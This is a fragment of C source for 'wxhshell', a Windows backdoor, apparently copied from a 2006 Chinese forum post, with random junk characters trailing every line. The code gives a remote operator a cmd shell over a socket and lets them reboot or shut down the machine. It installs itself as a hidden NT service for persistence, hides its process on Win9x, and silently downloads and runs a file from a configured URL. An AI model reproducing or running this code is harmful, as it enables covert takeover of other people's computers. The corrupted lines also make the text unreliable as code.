    switch(cmd[0]) { 3y6\0|{1  
  8rH6L:]S  
  // 帮助 8{!d'Pks  
  case '?': { 3{$7tck,  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); D<;~eZ'  
    break; <;S$4tux  
  } lP3|h*  
  // 安装 Si>38vCJ*  
  case 'i': { VFL^-tXnA^  
    if(Install()) "vSKj/]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NC%hsg^0/  
    else 4}h}`KZZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yl~_~<s6  
    break; ^~;ia7V&2  
    } (MI>7| ';  
  // 卸载 \4q|Qno8  
  case 'r': { qK a}O*  
    if(Uninstall()) GYfOwV!zB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [|OII!"  
    else b& +zAt.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \~l_w ,Poo  
    break; `SFeln{1B  
    } <ToBVG X  
  // 显示 wxhshell 所在路径 Lj3o-@\*j  
  case 'p': { h6 {vbYj  
    char svExeFile[MAX_PATH]; ZOqS"3j! j  
    strcpy(svExeFile,"\n\r"); x%=CEe?6  
      strcat(svExeFile,ExeFile); FAEF  
        send(wsh,svExeFile,strlen(svExeFile),0); ]8\I{LR  
    break; s2{SbOBis  
    } Ev5~= ]  
  // 重启 LigB!M  
  case 'b': { 0I)$!1~O)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /RxP:>hVv  
    if(Boot(REBOOT)) '\I(n|\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2+gbMd4n  
    else { p H  y  
    closesocket(wsh); C7FQc {  
    ExitThread(0); y4Jc|)  
    } I_ mus<sE  
    break; JcR|{9ghT  
    } ;>v.(0FE6  
  // 关机 /h0bBP  
  case 'd': { k{SGbC1=VK  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); f1MRmp-f'  
    if(Boot(SHUTDOWN)) TVD~Ix  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )x|;%.8FX7  
    else { -`~qmRpqY  
    closesocket(wsh); Cg): Q8  
    ExitThread(0); Af;Pl|Zh[  
    } L/"};VI  
    break; /l*v *tl  
    } ^HSxE  
  // 获取shell @.e X8~3=  
  case 's': { fY!?rZ)$  
    CmdShell(wsh); X_TjJmc  
    closesocket(wsh); 0SIC=p=J  
    ExitThread(0); ETdXk&AN  
    break; dH^6K0J  
  } by@KdQow  
  // 退出 ST*h{:u&A  
  case 'x': { );gY8UL^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }csA|cC  
    CloseIt(wsh); 4!/JN J  
    break; UphTMyn3  
    } y|5s  
  // 离开 r)iEtT!p*  
  case 'q': { ~T1W-ig4[*  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +.V+@!  
    closesocket(wsh); 9(N  
    WSACleanup(); xnY?<?J"!  
    exit(1); $Z@*!B^  
    break; ?G,4N<]Nu  
        } >!=@TK(~  
  } c@t?R$c  
  } q-JTGCFl  
#d-({blo<  
  // 提示信息 1>J.kQR^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H#TkIFo]  
} +` Md5.w  
  } ?F"o+]i+^  
kamQZzPe  
  return; !=dz^f.{  
} G?W:O{n3  
Rd#R}yA  
// shell模块句柄 FU3K?A B  
int CmdShell(SOCKET sock) .k,j64 r  
{ c{MoeIG)v@  
STARTUPINFO si; V?u#WJy/  
ZeroMemory(&si,sizeof(si)); d&#_t@%  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +:FXtO>n"  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; lMFR_g?r  
PROCESS_INFORMATION ProcessInfo; [3m\~JtS  
char cmdline[]="cmd"; 6 8tyWd}  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <Ua~+U(FR0  
  return 0; g3tE.!a5-  
} w]wZJ/U`  
| &X<-  
// 自身启动模式 3V k8'  
int StartFromService(void) U]3!"+Y1P  
{ hd)Jq'MCS  
typedef struct 54_}9_g  
{ }'oU/@yG  
  DWORD ExitStatus; X1^VdJE  
  DWORD PebBaseAddress; rnIj pc F  
  DWORD AffinityMask; #A/OGi  
  DWORD BasePriority; -r\jIO_  
  ULONG UniqueProcessId; PIri|ZS  
  ULONG InheritedFromUniqueProcessId; @Q74  
}   PROCESS_BASIC_INFORMATION; *S;}&VAZ  
7>yd  
PROCNTQSIP NtQueryInformationProcess;  +A3/^C0  
$J7V]c*-b  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?2<) Jw  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; mfr aw2H  
"DW~E\Y  
  HANDLE             hProcess; l9.`2d]o  
  PROCESS_BASIC_INFORMATION pbi; 46C%at M0}  
._}}@V_/  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); LqWiw24#  
  if(NULL == hInst ) return 0; E|@C:ghG  
4S_f2P2J  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); S2$E`' J  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); qezWfR`  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6Og@tho  
(?qCtLZ  
  if (!NtQueryInformationProcess) return 0; Sy8t2lk  
=3bk=vy  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !l'nX  
  if(!hProcess) return 0; |;gx;qp4cN  
EG{+Sz  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; n`5Nf  
Wmbc `XC  
  CloseHandle(hProcess); S@qPf0dL<  
K"!rj.Da  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &f.5:u%{b  
if(hProcess==NULL) return 0; F-;JN  
O/~T+T%  
HMODULE hMod; FQWjL>NB  
char procName[255]; UFB|IeX?q  
unsigned long cbNeeded; YgEd%Z%4  
 /~"-q  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .eJKIck  
Vl5r~+$|  
  CloseHandle(hProcess); Igo`\JY  
5U?O1}P  
if(strstr(procName,"services")) return 1; // 以服务启动 QV[&2&&^<<  
yX&# rI  
  return 0; // 注册表启动 D2ggFxqe  
} mI lg=8:  
?_]Y8f  
// 主模块 wkt4vE87  
int StartWxhshell(LPSTR lpCmdLine) ) 57'<  
{ x^y$pr  
  SOCKET wsl; khX/xL  
BOOL val=TRUE; fG2)r  
  int port=0; >{^_]phlb  
  struct sockaddr_in door; !.R-|<2|6  
neEqw +#Z  
  if(wscfg.ws_autoins) Install(); BVal U  
( fFrX_K]  
port=atoi(lpCmdLine); HYl+xH'.j  
%pZT3dcK  
if(port<=0) port=wscfg.ws_port; "@x( 2(Y&  
+wQ5m8E  
  WSADATA data; Ec7xwPk  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; lO@-*m$  
qZ<n\Mt  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (u?s@/e:`/  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); e{8C0=  
  door.sin_family = AF_INET;  V FM[-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?c.\\2>|F  
  door.sin_port = htons(port); H VM %B{(  
I(6%'s2  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /qQx~doK  
closesocket(wsl);  *RY}e  
return 1; g!0 j1  
} h),;j`PrC  
IsE&k2 SD  
  if(listen(wsl,2) == INVALID_SOCKET) { {tVA(&\<  
closesocket(wsl); jnV#Q ;  
return 1; orJ|Q3c)d  
} hTBJ\1 -  
  Wxhshell(wsl); ]Jz=. F sO  
  WSACleanup(); ` k] TOc  
[)`*k#.=  
return 0; yK{P%oh)  
RlfI]uCDM  
} {r&r^!K;  
&wNr2PHd#  
// 以NT服务方式启动 cJSNV*<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) W@}@5,}f>  
{ R655@|RT  
DWORD   status = 0; R/{h4/+vJ  
  DWORD   specificError = 0xfffffff; .3EEi3z6z  
3g7]$}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 1=]#=)+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; $bp'b<jx  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [CHN3&l-5S  
  serviceStatus.dwWin32ExitCode     = 0; #mH28UT  
  serviceStatus.dwServiceSpecificExitCode = 0; ?3DL .U{  
  serviceStatus.dwCheckPoint       = 0; :/->m6C`0  
  serviceStatus.dwWaitHint       = 0; xEG:KSH  
py$Gy-I~[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }ll&EB  
  if (hServiceStatusHandle==0) return; ccv  
0Cc3NNdz  
status = GetLastError(); o=VZ7]  
  if (status!=NO_ERROR) ;$eY#ypx  
{ bP:u`!p -i  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; q4:zr   
    serviceStatus.dwCheckPoint       = 0; "4XjABJ4'  
    serviceStatus.dwWaitHint       = 0; !@V]H  
    serviceStatus.dwWin32ExitCode     = status; #cR5k@  
    serviceStatus.dwServiceSpecificExitCode = specificError; 41R~.?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); X>dQK4!R  
    return; 2Jo|P A` 9  
  } (ht"wY#T<(  
hQ3@CfW  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; $jk4H+H-  
  serviceStatus.dwCheckPoint       = 0; P'$2%P$8:~  
  serviceStatus.dwWaitHint       = 0; %4VM"C4[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); tli*3YIw  
} C4E*q3[Y  
D[T\_3 W  
// 处理NT服务事件,比如:启动、停止 L{sFR^-G  
VOID WINAPI NTServiceHandler(DWORD fdwControl) HmXxM:[4;  
{ pDC`Fi  
switch(fdwControl) L `2{H%J`  
{ dsEvpa$?  
case SERVICE_CONTROL_STOP: F, =WfM\  
  serviceStatus.dwWin32ExitCode = 0; xqT} 9,  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; b#709VHm  
  serviceStatus.dwCheckPoint   = 0; w_@6!zm  
  serviceStatus.dwWaitHint     = 0; :4:U\k;QwA  
  { M!G/5:VZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *"|f!t  
  } Z'AjeZyyE  
  return; "<oR.f=0  
case SERVICE_CONTROL_PAUSE: wKW.sZ!S1  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; P EzT|uY  
  break; UeUOGf ,  
case SERVICE_CONTROL_CONTINUE: Na\&}GSf^  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; jcePSps]  
  break; Jcvp<  
case SERVICE_CONTROL_INTERROGATE: $hM9{  
  break; jp-(n z\  
}; 9aID&b +  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); z#5qI',L  
} rl"yE=  
/0L]Pf;  
// 标准应用程序主函数 .ErR-p=-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^b&hy&ag  
{ hzV%QDUpe  
PtjAu  
// 获取操作系统版本 <Rt0 V%}-  
OsIsNt=GetOsVer(); lz).=N}m  
GetModuleFileName(NULL,ExeFile,MAX_PATH); V2Z^W^  
 @C'qbO{  
  // 从命令行安装 nCldH|>5w  
  if(strpbrk(lpCmdLine,"iI")) Install(); CJ;D&qo  
~N2 [j  
  // 下载执行文件 i;2V   
if(wscfg.ws_downexe) { B(@uJ^N  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) q!d7Ms{q  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]VVx2ERs  
} iA2TvP#  
17rg!'+   
if(!OsIsNt) { 5Shc$Awc!  
// 如果时win9x,隐藏进程并且设置为注册表启动 (i)O@Jve  
HideProc(); \a:-xwUu<  
StartWxhshell(lpCmdLine); kKQD$g.z6  
} %e: hVU  
else l) Cg?9  
  if(StartFromService()) g C@=]Y  
  // 以服务方式启动 1 RyvPP  
  StartServiceCtrlDispatcher(DispatchTable); o<S(ODOfi  
else BBoVn^Z*R  
  // 普通方式启动 !O,`Z`T?  
  StartWxhshell(lpCmdLine); )q+;+J`>  
Jl) Q #  
return 0; \p izVt  
}
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只看该作者 1 发表于: 2006-10-10
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